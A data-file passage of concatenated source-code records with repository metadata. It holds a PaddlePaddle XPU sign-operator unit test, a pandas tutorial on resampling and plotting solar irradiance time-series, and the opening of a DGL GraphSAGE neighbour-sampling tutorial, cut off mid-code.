"colour/colorimetry/dataset/illuminants/hunterlab.py", "max_issues_repo_name": "sobotka/colour", "max_issues_repo_head_hexsha": "aa3fe95fba83ffc0f3ce1eb6aca85e6d8f3bde51", "max_issues_repo_licenses": ["Cube", "BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "colour/colorimetry/dataset/illuminants/hunterlab.py", "max_forks_repo_name": "sobotka/colour", "max_forks_repo_head_hexsha": "aa3fe95fba83ffc0f3ce1eb6aca85e6d8f3bde51", "max_forks_repo_licenses": ["Cube", "BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.3309859155, "max_line_length": 79, "alphanum_fraction": 0.710431994, "include": true, "reason": "import numpy", "num_tokens": 1810, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.10970578115498412, "lm_q1q2_score": 0.05313929552152361}}
{"text": "#   Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport unittest\nimport numpy as np\nimport sys\n\nsys.path.append(\"..\")\n\nimport paddle\n\nfrom op_test import OpTest\nfrom op_test_xpu import XPUOpTest\nfrom xpu.get_test_cover_info import create_test_class, get_xpu_op_support_types, XPUOpTestWrapper\n\npaddle.enable_static()\n\n\nclass XPUTestSignOP(XPUOpTestWrapper):\n\n    def __init__(self):\n        self.op_name = 'sign'\n        self.use_dynamic_create_class = False\n\n    class TestSignOPBase(XPUOpTest):\n\n        def setUp(self):\n            self.place = paddle.XPUPlace(0)\n            self.init_dtype()\n            self.set_case()\n\n        def set_case(self):\n            self.op_type = 'sign'\n            self.dtype = self.in_type\n            self.init_config()\n            self.x = np.random.uniform(-10, 10,\n                                       self.input_shape).astype(self.dtype)\n            self.inputs = {'X': self.x}\n            self.outputs = {'Out': np.sign(self.x)}\n            self.attrs = {'use_xpu': True}\n\n        def init_dtype(self):\n            self.dtype = np.float32\n\n        def test_check_output(self):\n            self.check_output_with_place(self.place)\n\n        def test_check_grad(self):\n            self.check_grad_with_place(self.place, ['X'], 'Out')\n\n        def init_config(self):\n            self.input_shape = [864]\n\n    class XPUTestSign1(TestSignOPBase):\n\n        def init_config(self):\n            self.input_shape = [2, 768]\n\n    class XPUTestSign2(TestSignOPBase):\n\n        def init_config(self):\n            self.input_shape = [3, 8, 4096]\n\n    class XPUTestSign3(TestSignOPBase):\n\n        def init_config(self):\n            self.input_shape = [1024]\n\n    class XPUTestSign4(TestSignOPBase):\n\n        def init_config(self):\n            self.input_shape = [2, 2, 255]\n\n\nsupport_types = get_xpu_op_support_types('sign')\nfor stype in support_types:\n    create_test_class(globals(), XPUTestSignOP, stype)\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "c00e0b5217a6c3834660667637c97187046bff79", "size": 2586, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_sign_op_xpu.py", "max_stars_repo_name": "L-Net-1992/Paddle", "max_stars_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 11, "max_stars_repo_stars_event_min_datetime": "2016-08-29T07:43:26.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-29T07:51:24.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_sign_op_xpu.py", "max_issues_repo_name": "L-Net-1992/Paddle", "max_issues_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_sign_op_xpu.py", "max_forks_repo_name": "L-Net-1992/Paddle", "max_forks_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-09T08:59:17.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-09T08:59:17.000Z", "avg_line_length": 27.5106382979, "max_line_length": 97, "alphanum_fraction": 0.654679041, "include": true, "reason": "import numpy", "num_tokens": 603, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.10970577824417872, "lm_q1q2_score": 0.05313929411158745}}
{"text": "# Manipulating Time-series\n\nTime-series are a key element when assessing solar resource data. In this section, we present several examples to learn how to deal with different formats in the data and few common tasks to prepare our time-series for later analysis, such as down and up-sampling data when we need different temporal resolution than that initially available or interpolating missing values in the data. \n\nThe dataset used in the examples of this section is a customized dataset using solar radiation measurements from the Measurement and Instrumentation Data Center (MIDC) of the U.S. National Renewable Energy Laboratory (NREL). The station selected is located at the University of Nevada - Las Vegas (UNLV) and the data used are 1-minute GHI, DHI and DNI measurements for the year 2020 (Andreas and Stoffel, 2006).\n\nIn this section, we cover: <br>\n- [1 Time-series handling](#timeseries_handling) <br>\n- [2 Down and up-sampling time-series data](#timeseries_downup_sampling) <br>\n- [3 Interpolating time-series data](#timeseries_interpolation) <br>\n- [4 Visualizating time-series data](#timeseries_visualization)\n\n\n***\n\n## 1 Time-series handling <a id='timeseries_handling'></a>\nDatasets often come in different formats depending on the source. Those formats sometimes cannot be used straightaway to build a time-series and may require additional processing steps before building the time-series. For example:  <br>\n- **What if date and time are in different columns?** <br> \n- **What if the year, month, day and time are in separate columns?** <br>\n- **How to the define the timestamp format for a particular dataset?** <br>\n- **How to deal with timestamp issues, local vs. universal (UTC) time?**\n\nThis subsection presents several examples to deal with different formats in which time-series data could come and shows how to build a time-series or *datetime series*, as known in Python, for later analysis. The processing steps to build time-series are based on [pandas library](https://pandas.pydata.org/).\n\nLet's get started!\n\n# Importing the needed libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pvlib\n\n### 1.1 Build our customized dataset\nIn order to build the customized dataset for this section, we make use of the I/O tools of the Python library *pvlib* to retrieve the data from the UNLV station in the MIDC. Data from other stations from the MIDC can be also retrieved using this method by adapting the station ID in the query. The different station IDs are available in the [MIDC raw data page](https://midcdmz.nrel.gov/apps/data_api_doc.pl?_idtextlist).\n\n# Dictionary to rename certain variables from the raw data\nvar_map = {'Global Horiz [W/m^2]': 'ghi',\n           'Direct Normal [W/m^2]':'dni',\n           'Diffuse Horiz (calc) [W/m^2]':'dhi',\n           'Year':'year'}\n\n# Retrieving the raw data from the station \ndf_ref = pvlib.iotools.read_midc_raw_data_from_nrel('UNLV',                     # Station id\n                                                    pd.Timestamp('20200101'),   # Start date YYYYMMDD\n                                                    pd.Timestamp('20201231'),   # End date  YYYYMMDD\n                                                    variable_map=var_map)       # Variable Map\n# Let's have a look to the first 2 rows of the dataset\ndf_ref.head(2)\n\n# Let's have a look to the last 2 rows of the dataset\ndf_ref.tail(2)\n\nThe dataset is 1-minute resolution data with 21 variables related to meteorological and other relevant data: ambient temperature, wind speed, wind direction, global horizontal irradiance (GHI), direct normal irradiance (DNI), diffuse horizontal irradiance (DHI), zenith and azimuth angles, airmass, among other. \n\nFor the examples in this section we will use GHI, DNI and DHI measurements and time-related data.\n\n# Slice desired variables out of the 21 variables provided in the raw data. \ndf_ref = df_ref[['ghi', 'dni', 'dhi', 'year']]\n\n# Add multiple temporal data to the dataset\ndf_ref['month'] = df_ref.index.month\ndf_ref['day'] = df_ref.index.day\ndf_ref['hour'] = df_ref.index.hour\ndf_ref['minute'] = df_ref.index.minute\ndf_ref['date'] = df_ref.index.strftime('%Y-%m-%d')\ndf_ref['time'] = df_ref.index.strftime('%H:%M:%S')\ndf_ref['timestamp'] = df_ref.index.strftime('%Y-%m-%d %H:%M:%S%z')\n\n# Epoch format\ndf_ref['epoch'] = df_ref.index.astype('int64')//1e9\n\n# Reset the Index of the DataFrame\ndf_ref = df_ref.reset_index(drop=True)\n\n# Let's have a look to the resulting columns of the dataset\ndf_ref.columns\n\nLet's visualize the first rows of the **customized reference dataframe:**\n\n# First 3 rows in the dataframe\ndf_ref.head(3)\n\nNow that we have our customized reference dataset of 1-minute irradiance measurements for 2020 and temporal data, we can start building the timeseries in different ways.\n\n### 1.2 Time-series when timestamps are available:\n\nWhen timestamps are available, the most straightforward way to build the DataFrame with a datetime index is to convert the column with the timestamp into datetime format and set it as index.\n\nLet's see how!\n\n# A new dataframe copy of the reference dataset\ndf = df_ref.copy()\n# Convert the timestamp string into datetime format \ndf['timestamp'] = pd.to_datetime(df['timestamp'], format='%Y-%m-%d %H:%M:%S%z')\n# Set timestamp column as index\ndf = df.set_index(df['timestamp'])\n# See the first 3 rows of the DataFrame with Datetime Index\ndf.head(3)\n\nThe format of the timestamp is specified in the argument 'format' as a string and can be adapted to any case. The available options in Python can be checked in this [link](https://strftime.org/). \n\nUniversal Time Coordinated (UTC) is usually the timestamp provided for many solar radiation data networks and platforms like the BSRN, PVGIS, etc. However, data can be also reported in local time like in our example. Timestamps can be converted to other timezones with the funcion *tz_convert*, which can be useful when dealing with data from different databases and locations worldwide:\n\n# Add UTC timestamp from the local time (Pacific Summer Time)\ndf['timestamp_utc'] = df.index.tz_convert('UTC')\n# See the first 3 rows \ndf.head(3)\n\nThe valid timezone strings for other timezones can be found in this [link](https://pvlib-python.readthedocs.io/en/stable/timetimezones.html). When the timezone is not provided as part of the timestamp, the function *tz_localize* can be used to localize the values in a timezone-naive series. *tz_localize* will be used in the next example.\n\n### 1.3 Time-series when date and time are available:\n\nWhen date and time are available in separate columns, a timestamp can be created in a new column and the new column can then be set as index and localized. Let's have a look how to do that:\n\n\n# A new dataframe copy of the reference dataset\ndf = df_ref.copy()\n# New column with the date and time \ndf['datetime'] = df['date'] + 'T' + df['time']\n# Convert the new column into datetime format \ndf['datetime'] = pd.to_datetime(df['datetime'], format='%Y-%m-%dT%H:%M:%S')\n# Set the column 'datetime' as index and localize it to its timezone\ndf = df.set_index(df['datetime']).tz_localize('Etc/GMT+8')\n# See the first 3 rows \ndf.head(3)\n\n### 1.4 Time-series when the time data is split in multiple columns:\n\nIf time-related data are split across multiple columns, a timestamp can be created in a new column similarly than in the previous case. Let's imagine our dataset would have the year, month, day, hour, and minute in separate columns. In that case, we could build our time-series as follows:\n\n# A new dataframe copy of the reference dataset\ndf = df_ref.copy()\n# Let's reduce the code lines and define the new string within the 'to_datetime' function\ndf['datetime'] = pd.to_datetime(df[['year', 'month', 'day', 'hour', 'minute']], \n                                format = '%Y-%m-%d%H:%M')\n# Set the column 'datetime' as index\ndf = df.set_index(df['datetime']) \n# Localize the datetime series\ndf.index = df.index.tz_localize('Etc/GMT+8') \n# See the first 3 rows \ndf.head(3)\n\n### 1.5 Time-series when the timestamp is given as epoch (Unix Time)\n\nIf the dataset has epoch timestamps, note that the data will have UTC time. However, it can be converted to any timezone using the function *tz_convert*. If there are epoch timestamps, a datetime series can be formed as follows:\n\n# A new dataframe copy of the reference dataset\ndf = df_ref.copy()\n# Convert epoch timestamps to datetime format and localize\ndf['datetime'] = pd.to_datetime(df['epoch'], unit='s', utc=True)\n# Set datetime as index and convert UTC time to local time\ndf = df.set_index(df['datetime']).tz_convert('Etc/GMT+8')\n# See the results\ndf.head(3)\n\nWe have seen how the same DataFrame with *datetimeindex* can be obtained in multiple ways depending on the format of time data provided.\n\n***\n\n## 2 Down and up-sampling time-series data<a id='timeseries_downup_sampling'></a>\n\nWhen assessing solar resource, you may need a different time-resolution than your data for a particular part of the analysis. In those cases, it is possible to **down-sample and up-sample the data at different temporal resolutions** using two different methods within [pandas library](https://pandas.pydata.org/) called *resample* and *asfreq*. Depending on your needs, you will opt for one or the other. Regardless of the method, both of them require a DataFrame with *datetimeindex* either time-aware (localized) or time-naive (not localized). \n\n###  2.1 Method 'asfreq' vs. 'resample'\nLet's first create a new DataFrame with only the columns with solar data and see the differences between both methods with examples.\n\n# New DataFrame with 1-minute data and solar data\ndf_1min = df[['ghi', 'dhi', 'dni']]\n# See our new DataFrame\ndf_1min.head(3)\n\nLet's try to obtain a DataFrame down-sampled with the maximum monthly data with both methods and see the differences. With *asfreq*, it would be the following:\n\ndf_1min.asfreq(\"1M\").max()\n\nWith *resample* the result would be:\n\ndf_1min.resample(\"1M\").max()\n\nIt is obvious that the outputs are not the same and that is because the methods work differently. *asfreq* takes the value at the simultaneous stamps given by the frequency argument. See below:\n\ndf_1min.asfreq(\"1M\")\n\nThen *.max()* has returned the maximum of each of the columns. \n\nIn contrast, *resample* does return the maximum value within the period of time at the specified frequency. *resample* method requires a mathematical operation to perform in the resampled data (the maximum value in our case). Otherwise, it would return a *DatetimeIndexResampler* object without showing any data. See below:\n\ndf_1min.resample(\"1M\")\n\nThe *resample* method accepts multiple **mathematical and statistical operations**. For example: maximum (max), minimum (min), arithmetic mean (mean), standard deviation (std), median (median), mode (mode), addition (sum), among others. \n\nBoth methods allow for multiple **frequencies options**, the available frequency tags within Python can be found [here](https://stackoverflow.com/questions/35339139/where-is-the-documentation-on-pandas-freq-tags).\n\n### 2.2 Down-sampling the data in a time-series\n\nDown-sampling permits turning more frequent values into less frequent. In the context of solar resource and considering our 1-minute resolution dataset, down-sampling can be used for:\n- Producing a timeseries of hourly/daily average irradiance.\n- Producing a timeseries of maximum daily irradiance.\n- Estimating the hourly/daily/monthly sums of irradiation.\n- And many more!\n\nLet's implement some of these listed examples!\n\n#### Producing hourly average irradiance from minutely observations\n\n# Resampling to hourly mean values\ndf_hourly = df_1min.resample(\"1H\").mean()\n# Showing the shape of the new DataFrame\ndf_hourly.shape # returns Rows, Columns\n\nThere are 8760 hours in a year. Yet, we can have a look to the first few rows of the DataFrame:\n\ndf_hourly.head(12)\n\nA time-series with the maximum irradiance would be similar replacing *'mean()'* with *'max()'*.\n\n#### Producing time-series of monthly total GHI, DHI, DNI irradiation from minutely observations\n\n# Resampling to monthly aggregated values\nmonthly_energy = df_1min[['ghi', 'dhi', 'dni']].resample(\"1M\").sum()*(1/60)\n# See the results expressed in kWh\u00b7sqm\nmonthly_energy/1000\n\nIt could be done in similar way for other resolutions (e.g. daily or annual irradiation).\n\n### 2.3 Up-sampling the data in a time-series\n\nUp-sampling permits obtaining more frequent values from less frequent. For solar data, depending on the application up to sub-minutely data could be required and up-sampling is a technique that provides a manner to increase the temporal resolution to adapt it to our needs. For example, turning an hourly time-series into a half-hourly. Let's see an example using both *resample* and *asfreq*.\n\n#### Producing half-hourly irradiance series from hourly observations\nUsing the DataFrame *df_hourly* created previously, it can be up-sample as follows:\n\n# Using 'resample' method:\ndf_hourly.resample(\"30Min\").mean().head(10)\n\n# Using 'asfreq' method:\ndf_hourly.asfreq(\"30Min\").head(10)\n\nContrary to the case of down-sampling, both *asfreq* and *resample* provide similar results when up-sampling. However, *asfreq* provides additional functionalities to treat the new timestamps without data, i.e. NaN values.\n\nBy passing the argument *'method'* with the string *'backfill'* or *'bfill'* uses the next valid observation to fill the NaN value (back filling). If instead, the string *'pad'* or *'ffill'* is given, the method assigns the last valid observation forward to the next valid (forward filling). \n\nLet's see the same example adding this argument:\n\n# Half-hourly up-sample with back filling function\ndf_hourly.asfreq(\"30Min\", method='bfill').head(10)\n\nWe see that the DataFrame now contains the next valid hourly value in the newly obtained half-hourly timestamps of the previous hour. It would take the previous valid hourly value if we used forward filling. For example:\n\n# Half-hourly up-sample with forward-filling function\ndf_hourly.asfreq(\"30Min\", method='ffill').head(10)\n\nThe forward filling option provides the same value for o'clock and half past timestamps within the same hour. In addition to these two ways to complete the NaN values, the method *asfreq* can replace the NaN values with a constant. See below:\n\n# Half-hourly up-sample filling the new timestamps with a constant\ndf_hourly.asfreq(\"30Min\", fill_value=0).head(10)\n\nThe use of the methods *asfreq* or *resample* will depend on your dataset and the analysis you aim to undertake.\n\n***\n\n## 3 Interpolating time-series data<a id='timeseries_interpolation'></a>\n\nWhen up-sampling the data series, it can happen that back-filling, forward-filling and constant replacement does not necessarily work for your analysis/application. An alternative approach is interpolating the replacing the NaN values with an interpolated result. Interpolation in Pandas DataFrames with *DatetimeIndex* is done with the *interpolate* method.\n\nThe mathematical interpolation method in *interpolate* is defined with the argument called *'method'*. Pandas permits several interpolation methods, such as 'linear', 'cubic', 'quadratic', 'spline', 'polynomial' and others. All the interpolation options can be found in the [documentation](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.interpolate.html) of the *interpolate* method. \n\nFollowing the previous example, let's implement interpolation in the missing values of the half-hourly timestamps using 'linear', 'cubic' and 'polynomial' methods:\n\n# Up-sample using the 'asfreq' method\ndf_30min = df_hourly.asfreq(\"30Min\")\n# Interpolate missing values (NaN) with linear interpolation\ndf_linear = df_30min.interpolate(method='linear')\n# See the results:\ndf_linear.head(10)\n\nSimilarly, it can be implemented to other methods:\n\n# Interpolate missing values (NaN) with cubic interpolation\ndf_cubic = df_30min.interpolate(method='cubic')\n# See the results:\ndf_cubic.head(10)\n\nWith polynomial interpolation, the degree or order of the polynomial function needs to be defined as an argument:\n\n# Interpolate missing values (NaN) with polynomial interpolation\ndf_polynomial = df_30min.interpolate(method='polynomial', order=5)\n# See the results:\ndf_polynomial.head(10)\n\nThe interpolation of NaN values when up-sampling time-series data can help overcome the issues of using back or forward filling, specially if you aim to up-sample at higher frequencies than the example shown (e.g. 1-hour to 15-minute resolution series). The mathematical methods available for interpolation within Pandas are diverse and cover beyond the most common interpolation functions.\n\n## 4 Visualizing time-series data<a id='timeseries_visualization'></a>\n\nIt is often useful to visualize the data to grasp insighs and observe trends about the data. This section shows few examples to visualize time-series data.\n\n### 4.1 Plotting a time-series for a day of interest\n\nBelow there is an example to visualize a single day of interest. With DataFrames using *DatetimeIndex* it is easy to select a particular day and Pandas interacts with Matplotlib.Pyplot library to plot straight-away.\n\n# Plotting GHI for a given day in the time-series\ndf_1min['2020-06-01']['ghi'].plot(label='GHI')\nplt.ylabel('Irradiance [W/m$^2$]')\nplt.xlabel('Local Time [HH:MM]')\nplt.legend(loc='best')\nplt.show() # Not needed in Jupyter Notebooks but usually required in other IDEs.\n\nWe can visualize the effect of using average (*resample*) vs. instantaneous (*asfreq*) measurements when down-sampling our data.\n\n# Plotting GHI for a given day in the time-series\ndf_1min['2020-06-01']['ghi'].plot(label='1-min data', alpha=0.4) # Reference data\ndf_1min.asfreq('30Min')['2020-06-01']['ghi'].plot(label='30-min instant.') # Instantaneous 30-min values\ndf_1min.resample('30Min').mean()['2020-06-01']['ghi'].plot(label='30-min average') # Average 30-min values\nplt.title('Average vs. Actual GHI Measurements') # title of the figure\nplt.ylabel('Irradiance [W/m$^2$]') # y-axis label\nplt.xlabel('Local Time [HH:MM]') # x-axis label\nplt.legend(loc='upper left') # insert legend\nplt.show() # Not needed in Jupyter Notebook but usually required in other IDEs.\n\n### 4.2 Plotting a time-series for a few consecutive days of interest\n\nBelow there is an example to visualize a few consecutive days (e.g. 5 days) of interest. By using ['start date']:['end date'] it is possible to select time ranges easily with a DataFrame having a *DatetimeIndex*.\n\n# Variables to plot\nvars = ['ghi', 'dni', 'dhi'] \n# Create 3 subplots, with shared X and Y axis\nfig, axs = plt.subplots(3, sharex=True, sharey=True, figsize=(9,6))\n# Add title to the plot\nfig.suptitle('Average Hourly Solar Radiation Observations', fontsize=14)\n\nfor i in range(3):\n    axs[i].plot(df_1min.resample('1H').mean()['2020-06-01':'2020-06-05'][vars[i]], label='Average') # Average hourly\n    axs[i].plot(df_1min.resample('1H').max()['2020-06-01':'2020-06-05'][vars[i]], label='Maximum') # Max. hourly\n    axs[i].plot(df_1min.resample('1H').min()['2020-06-01':'2020-06-05'][vars[i]], label='Minimum') # Min. hourly\n    axs[i].set_title(vars[i].upper()) # Title for each subplot\nfig.subplots_adjust(hspace=0.3) # Adjust the white space between the subplots titles\nfig.text(0.04, 0.5, 'Irradiance [W/m$^2$]', va='center', rotation='vertical', fontsize=12) # Common Y Axis\nfig.text(0.51, 0.04, 'Local Time', ha='center', fontsize=12) # Common X Axis\nplt.legend(loc='upper center', ncol=3) # Legend for the last subplot or 'axs[i].legend()' in the loop to a legend to each.\nplt.show()\n\n### 4.3 Plotting a time-series for a few non-consecutive days of interest\n\nBelow there is an example to visualize a few non-consecutive days of interest, which could be the case when we would like to observe several days scattered throughout the year a single plot. In order to do this, we need to select the day of interest from the DataFrame and then reset its *DatetimeIndex*. For example:\n\n# List of days of interest\ndays = ['2020-01-01', '2020-03-01', '2020-06-01', '2020-09-01']\n# Iterate over the days and plot each of them\nfor day in days: \n    df_day = df_1min.resample('1H').mean()[day]['ghi'].to_frame()  # average hourly of GHI for current day\n    df_day = df_day.reset_index(drop=True) # reset its Index to numeric (i.e. 0,1,2,3...)\n    plt.plot(df_day, label=day) # plot the current day\nplt.title('Average Hourly GHI Measurements for Days of Interest') # title of the figure\nplt.xticks(np.arange(0, 25, step=3), np.arange(0, 25, step=3)) # set labels positions and names\nplt.ylabel('Irradiance [W/m$^2$]') # y-axis label\nplt.xlabel('Local Time') # x-axis label\nplt.legend(loc='best') # insert legend\nplt.show()\n\n### 4.4 Daily insolation throughout the year\n\nWith time-series data, the hourly/daily/monthly insolation (i.e. the sum of accumulated energy) can also be analysed throughout the year with time-series data. For example, below an example to visualize the daily insolation is shown:\n\n# Calculate the daily insolation expressed in kWh\u00b7sqm from GHI measurements\ndaily_energy = (df_1min['ghi'].resample(\"1D\").sum()*(1/60))/1000 # selecting only GHI returns a Pandas Series\n\n# Create time-series plot\ndaily_energy.plot(figsize=(9,6), legend=False) # plot timeseries \nplt.title('Time-series of Daily Insolation')  # add title\nplt.ylabel('Energy [kWh/m$^2$]') # add Y-axis label\nplt.xlabel('Time') # add X-axis label\nplt.show()\n\nTime-series data can also be visualized in other ways, for instance, as a heat map.\n\n# Prepare the data for heat map of hourly insolation\nenergy_array = pd.DataFrame() # empty DataFrame for the results\nfor i in range(1,13): # iterate over months\n    # select the data in the month and eliminate the datetimeindex\n    df_month = daily_energy[daily_energy.index.month==i].reset_index(drop=True) \n    # rename the column with the number of the month\n    df_month.columns = [str(i)]\n    # Append results to the DataFrame\n    energy_array = pd.concat([energy_array, df_month], axis=1)\n# Transpose to have months in y-axis and days in x-axis\nenergy_array = energy_array.transpose()\n# Rename the columns of the days \nenergy_array.columns = np.arange(1, 32)\n\n# Plot heat map of daily insolation\nmonths = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', # month labels\n          'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']\nplt.figure(figsize=(10, 5))\nax = sns.heatmap(energy_array, cmap='CMRmap', linewidths=0.2, # plot heatmap with Seaborn (sns) library \n                xticklabels=2, annot=False,\n                cbar_kws={'label': 'Daily Energy [kWh/m$^2$]'})\nax.set_title('Heat Map of Daily Insolation') # add title\nax.set_yticklabels(months,rotation=0) # add the months as tick-labels for the y-axis\nax.set_xticklabels(ax.get_xticklabels(),rotation=0) # add the days as tick-labels for the x-axis\nax.set_xlabel('Day of the Month')\nplt.show()\n\n***\n\n## Section summary\n\nThis section has shown how to build and work with a time-series in Python with multiple examples: <br>\n- We have seen how to prepare a DataFrame with *DatatimeIndex* to be used as a time-series when the timestamps are given in multiple formats in the temporal data and local/UTC time. <br>\n- Changes in the temporal resolution of the data can be applied by down and up-sampling the data and the differences between 2 available methods (*asfreq* and *resample*) have been shown with examples and different sampling frequencies. <br> \n- The interpolation of missing data in time-series can be used to up-sample the resolution of the data and examples with some methods have been shown. <br>\n- Finally, several ideas to visualize data have been presented. <br>\n\nOverall, the possibilities with time-series of solar resource are many. The most useful and suitable analysis and visualizations will be determined by the application and scope of the study.\n\n***\n\n## References<a id='references'></a>\n\nAndreas, A.; Stoffel, T.; (2006). University of Nevada (UNLV):\nLas Vegas, Nevada (Data); NREL Report No. DA-5500-56509.\nhttp://dx.doi.org/10.5439/1052548\n", "meta": {"hexsha": "e0e3497abc11e3e84281d663a0f08b82a984346b", "size": 24081, "ext": "py", "lang": "Python", "max_stars_repo_path": "content/_build/jupyter_execute/notebooks/manipulating_time_series.py", "max_stars_repo_name": "AssessingSolar/Solar-Resource-Assessment-in-Python", "max_stars_repo_head_hexsha": "230558004b0cabd17d52198fd1901fe36663a036", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2021-03-17T15:21:07.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-25T07:27:24.000Z", "max_issues_repo_path": "content/_build/jupyter_execute/notebooks/manipulating_time_series.py", "max_issues_repo_name": "AssessingSolar/Solar-Resource-Assessment-in-Python", "max_issues_repo_head_hexsha": "230558004b0cabd17d52198fd1901fe36663a036", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2021-07-23T17:55:22.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-03T15:23:37.000Z", "max_forks_repo_path": "content/_build/jupyter_execute/notebooks/manipulating_time_series.py", "max_forks_repo_name": "AssessingSolar/Solar-Resource-Assessment-in-Python", "max_forks_repo_head_hexsha": "230558004b0cabd17d52198fd1901fe36663a036", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 56.9290780142, "max_line_length": 546, "alphanum_fraction": 0.7479755824, "include": true, "reason": "import numpy", "num_tokens": 5937, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.10970576951176295, "lm_q1q2_score": 0.05313928988177916}}
{"text": "\"\"\"\nTraining GNN with Neighbor Sampling for Node Classification\n===========================================================\n\nThis tutorial shows how to train a multi-layer GraphSAGE for node\nclassification on ``ogbn-arxiv`` provided by `Open Graph\nBenchmark (OGB) <https://ogb.stanford.edu/>`__. The dataset contains around\n170 thousand nodes and 1 million edges.\n\nBy the end of this tutorial, you will be able to\n\n-  Train a GNN model for node classification on a single GPU with DGL's\n   neighbor sampling components.\n\nThis tutorial assumes that you have read the :doc:`Introduction of Neighbor\nSampling for GNN Training <L0_neighbor_sampling_overview>`.\n\n\"\"\"\n\n\n######################################################################\n# Loading Dataset\n# ---------------\n#\n# OGB already prepared the data as DGL graph.\n#\n\nimport dgl\nimport torch\nimport numpy as np\nfrom ogb.nodeproppred import DglNodePropPredDataset\n\ndataset = DglNodePropPredDataset('ogbn-arxiv')\ndevice = 'cpu'      # change to 'cuda' for GPU\n\n\n######################################################################\n# OGB dataset is a collection of graphs and their labels. ``ogbn-arxiv``\n# dataset only contains a single graph. So you can\n# simply get the graph and its node labels like this:\n#\n\ngraph, node_labels = dataset[0]\n# Add reverse edges since ogbn-arxiv is unidirectional.\ngraph = dgl.add_reverse_edges(graph)\ngraph.ndata['label'] = node_labels[:, 0]\nprint(graph)\nprint(node_labels)\n\nnode_features = graph.ndata['feat']\nnum_features = node_features.shape[1]\nnum_classes = (node_labels.max() + 1).item()\nprint('Number of classes:', num_classes)\n\n\n######################################################################\n# You can get the training-validation-test split of the nodes with\n# ``get_split_idx`` method.\n#\n\nidx_split = dataset.get_idx_split()\ntrain_nids = idx_split['train']\nvalid_nids = idx_split['valid']\ntest_nids = idx_split['test']\n\n\n######################################################################\n# How DGL Handles Computation Dependency\n# --------------------------------------\n#\n# In the :doc:`previous tutorial <L0_neighbor_sampling_overview>`, you\n# have seen that the computation dependency for message passing of a\n# single node can be described as a series of *message flow graphs* (MFG).\n#\n# |image1|\n#\n# .. |image1| image:: https://data.dgl.ai/tutorial/img/bipartite.gif\n#\n\n\n######################################################################\n# Defining Neighbor Sampler and Data Loader in DGL\n# ------------------------------------------------\n#\n# DGL provides tools to iterate over the dataset in minibatches\n# while generating the computation dependencies to compute their outputs\n# with the MFGs above. For node classification, you can use\n# ``dgl.dataloading.NodeDataLoader`` for iterating over the dataset.\n# It accepts a sampler object to control how to generate the computation\n# dependencies in the form of MFGs.  DGL provides\n# implementations of common sampling algorithms such as\n# ``dgl.dataloading.MultiLayerNeighborSampler`` which randomly picks\n# a fixed number of neighbors for each node.\n#\n# .. note::\n#\n#    To write your own neighbor sampler, please refer to :ref:`this user\n#    guide section <guide-minibatch-customizing-neighborhood-sampler>`.\n#\n# The syntax of ``dgl.dataloading.NodeDataLoader`` is mostly similar to a\n# PyTorch ``DataLoader``, with the addition that it needs a graph to\n# generate computation dependency from, a set of node IDs to iterate on,\n# and the neighbor sampler you defined.\n#\n# Let\u2019s say that each node will gather messages from 4 neighbors on each\n# layer. The code defining the data loader and neighbor sampler will look\n# like the following.\n#\n\nsampler = dgl.dataloading.MultiLayerNeighborSampler([4, 4])\ntrain_dataloader = dgl.dataloading.NodeDataLoader(\n    # The following arguments are specific to NodeDataLoader.\n    graph,              # The graph\n    train_nids,         # The node IDs to iterate over in minibatches\n    sampler,            # The neighbor sampler\n    device=device,      # Put the sampled MFGs on CPU or GPU\n    # The following arguments are inherited from PyTorch DataLoader.\n    batch_size=1024,    # Batch size\n    shuffle=True,       # Whether to shuffle the nodes for every epoch\n  